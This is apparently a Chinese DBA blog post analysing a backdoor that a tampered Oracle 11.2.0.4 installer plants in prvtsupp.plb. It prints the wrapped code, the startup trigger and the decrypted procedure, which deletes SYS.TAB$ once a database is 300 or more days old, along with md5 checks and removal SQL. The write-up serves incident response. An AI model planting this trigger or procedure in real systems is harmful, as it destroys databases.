ORA-600 16703 SYS.TAB$表被删除

记录一下，前几天一个测试库

11.2.0.4.0 版本的RAC，再重启后，发现启动失败，

?

1 2 3 4 5

[oracle@rac03 trace]$ tail -fn 100 alert_SCM1.log Fri Jan 29 13:58:18 2021 Errors in file /u01/app/oracle/diag/rdbms/scm/SCM1/trace/SCM1_smon_3933.trc: ORA-00604: error occurred at recursive SQL level 1 ORA-00957: duplicate column name

　数据库启动失败，再网上查询，发现有很多遇到此类错误。

p13390677_112040_Linux-x86-64_1of7.zip 安装包被恶意篡改

$ORACLE_HOME/rdbms/admin/prvtsupp.plb 文件被修改，添加了触发器

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79

[oracle@rac03 trace]$ ll $ORACLE_HOME/rdbms/admin/prvtsupp.plb -rw-r--r-- 1 oracle oinstall 1756 Jan 29 09:29 /u01/app/oracle/product/11.2.0/db_1/rdbms/admin/prvtsupp.plb [oracle@rac03 trace]$ cat $ORACLE_HOME/rdbms/admin/prvtsupp.plb create or replace package body dbms_support wrapped a000000 1 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd b a60 422 xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8 bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop /vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF 2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3 3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1 9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0 eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=   /       create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped a000000 369 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd 7 166 17d L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7 GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD lUETCD2WIxfg3w== /   PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER create or replace trigger DBMS_SUPPORT_DBMONITOR after startup on database declare begin    DBMS_SUPPORT_DBMONITORP; end; /

调用的存储过程，解密出来

?

1 2 3 4 5 6 7 8 9 10 11

PROCEDURE DBMS_SUPPORT_DBMONITORP IS DATE1 INT :=10; BEGIN    SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;    IF (DATE1>=300) THEN    EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';    DELETE SYS.TAB$;    COMMIT;    EXECUTE IMMEDIATE 'alter system checkpoint';    END IF; END;

 

数据库实例创建时间 >300天，然后 重启的时候。会删除系统表SYS.TAB$，导致再下一次启动的时候，数据库启动错误。

问题发现

md5 查看下载的安装包(因为11.2.0.4 安装包需要MOS账号，所以大多数测试情况都会去网上下载安装包）

?

1 2 3 4 5 6 7 8 9 10 11 12

[root@rac03 opt]# md5sum p13390677_112040_Linux-x86-64_1of7.zip 2ca21ca2f45a9878bdc7134d8e124173  p13390677_112040_Linux-x86-64_1of7.zip ###问题包 [root@rac03 opt]# md5sum p13390677_112040_Linux-x86-64_2of7.zip 67ba1e68a4f581b305885114768443d3  p13390677_112040_Linux-x86-64_2of7.zip [root@rac01 opt]# md5sum p13390677_112040_Linux-x86-64_1of7.zip 1616f61789891a56eafd40de79f58f28  p13390677_112040_Linux-x86-64_1of7.zip ###正确的值   --------- [root@rac01 opt]# md5sum p13390677_112040_Linux-x86-64_1of7.zip 1616f61789891a56eafd40de79f58f28  p13390677_112040_Linux-x86-64_1of7.zip [root@rac01 opt]# md5sum p13390677_112040_Linux-x86-64_2of7.zip 67ba1e68a4f581b305885114768443d3  p13390677_112040_Linux-x86-64_2of7.zip

 

如果此时发现问题，不要重启数据库，直接恢复表

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

SQL> conn /as sysdba SQL> select status from v$instance; OPEN SQL> select 'drop '||object_type||' '||owner||'.'||object_name||';' from dba_objects where object_name in('DBMS_SUPPORT_DBMONITOR','DBMS_SUPPORT_DBMONITORP'); drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR; drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP;   SQL> select object_name from dba_objects where object_name like 'ORACHK%'; #如果有值，则恢复数据 SQL> select * from sys.tab$; SQL> insert into tab$ select * from ORACHK****; SQL> commit;   SQL> drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP; SQL> drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR;   SQL> SELECT 'DROP TRIGGER '||OWNER||'."'||TRIGGER_NAME||'";' FROM DBA_TRIGGERS WHERE TRIGGER_NAME LIKE  'DBMS_%_INTERNAL%' UNION ALL SELECT 'DROP PROCEDURE '||OWNER||'."'||A.OBJECT_NAME||'";' FROM DBA_PROCEDURES A WHERE A.OBJECT_NAME LIKE 'DBMS_%_INTERNAL% ' UNION ALL SELECT 'DROP PROCEDURE '||OWNER||'."'||OBJECT_NAME||'";' FROM DBA_OBJECTS WHERE OBJECT_NAME ='DBMS_SUPPORT_DBMONITORP' UNION ALL SELECT 'DROP TRIGGER '||OWNER||'."'||TRIGGER_NAME||'";' FROM DBA_TRIGGERS WHERE TRIGGER_NAME ='DBMS_SUPPORT_DBMONITOR' ; no rows selected

　如果是再启动数据库的时候发现次错误。那么就需要使用特殊方法恢复 表。

参考

?

1 2 3 4

https://mp.weixin.qq.com/s/Iy6h1V28arEj22xKCA3mLw https://www.cnblogs.com/lfree/p/10441420.html http://www.eygle.com/archives/2018/07/recover_ora-600_16703.html https://www.xifenfei.com/2017/07/oracle-software-malicious-injection.html

　

大体思路是，使用 bbed 恢复删除的表 sys.tab$ ，找一个同版本的正常的表的数据文件，然后拷贝正常的block到数据文件。

如果是测试环境，可以使用bbed来进行测试，恢复难点，tab$ 表不是普通的堆表，tab$是CLUSTER C_OBJ#的一个表。

如果是线上环境，最好通过专业的厂家来进行数据恢复。这个后门植入 毕竟还是只删除了 一个 系统表，其他表的数据正常。　

如果有备份，可以恢复到备份的时候。新创建实例，然后恢复。（这里提示，单个实例之间互相不影响，数据库软件可以继续创建新实例）。

正常的文件

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39

[oracle@rac03 tmp]$ cp prvtsupp.plb $ORACLE_HOME/rdbms/admin/prvtsupp.plb [oracle@rac03 tmp]$ cat $ORACLE_HOME/rdbms/admin/prvtsupp.plb create or replace package body dbms_support wrapped a000000 1 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd b a60 422 xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8 bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop /vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF 2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3 3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1 9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0 eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=   /

　

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53

[oracle@rac01 tmp]$ oerr ora 1403 01403, 00000, "no data found" // *Cause: No data was found from the objects. // *Action: There was no data from the objects which may be due to end of fetch. SQL> select * from v$version;   BANNER -------------------------------------------------------------------------------- Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production PL/SQL Release 11.2.0.4.0 - Production CORE    11.2.0.4.0  Production TNS for Linux: Version 11.2.0.4.0 - Production NLSRTL Version 11.2.0.4.0 - Production SQL> select object_name from dba_objects where object_type='TRIGGER' and owner='SYS';   OBJECT_NAME -------------------------------------------------------------------------------------------------------------------------------- LOGMNRGGC_TRIGGER AW_TRUNC_TRG AW_REN_TRG AW_DROP_TRG CDC_ALTER_CTABLE_BEFORE CDC_CREATE_CTABLE_AFTER CDC_CREATE_CTABLE_BEFORE CDC_DROP_CTABLE_BEFORE XDB_PI_TRIG DBMS_SUPPORT_DBMONITOR   10 rows selected. SQL> select 'drop '||object_type||' '||owner||'.'||object_name||';' from dba_objects where object_name in('DBMS_SUPPORT_DBMONITOR','DBMS_SUPPORT_DBMONITORP');   'DROP'||OBJECT_TYPE||''||OWNER||'.'||OBJECT_NAME||';' ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR; drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP;   SQL> drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR;   Trigger dropped.   SQL> drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP;   Procedure dropped.   SQL> select object_name from dba_objects where object_name like 'ORACHK%';   no rows selected   SQL> select count(*) from sys.tab$;     COUNT(*) ----------       2995

温馨提示
各位一定要从官方途径下载oracle安装介质,如果是从其他互联网途径下载一定要验证md5,
确保文件没有被人恶意篡改,造成无可挽回的损坏.如果真的不幸遇到这类问题,请保护现场联系专业人员恢复。
可以通过使用bbed对tab$表数据数据进行恢复实现数据库正常启动,实现数据0丢失。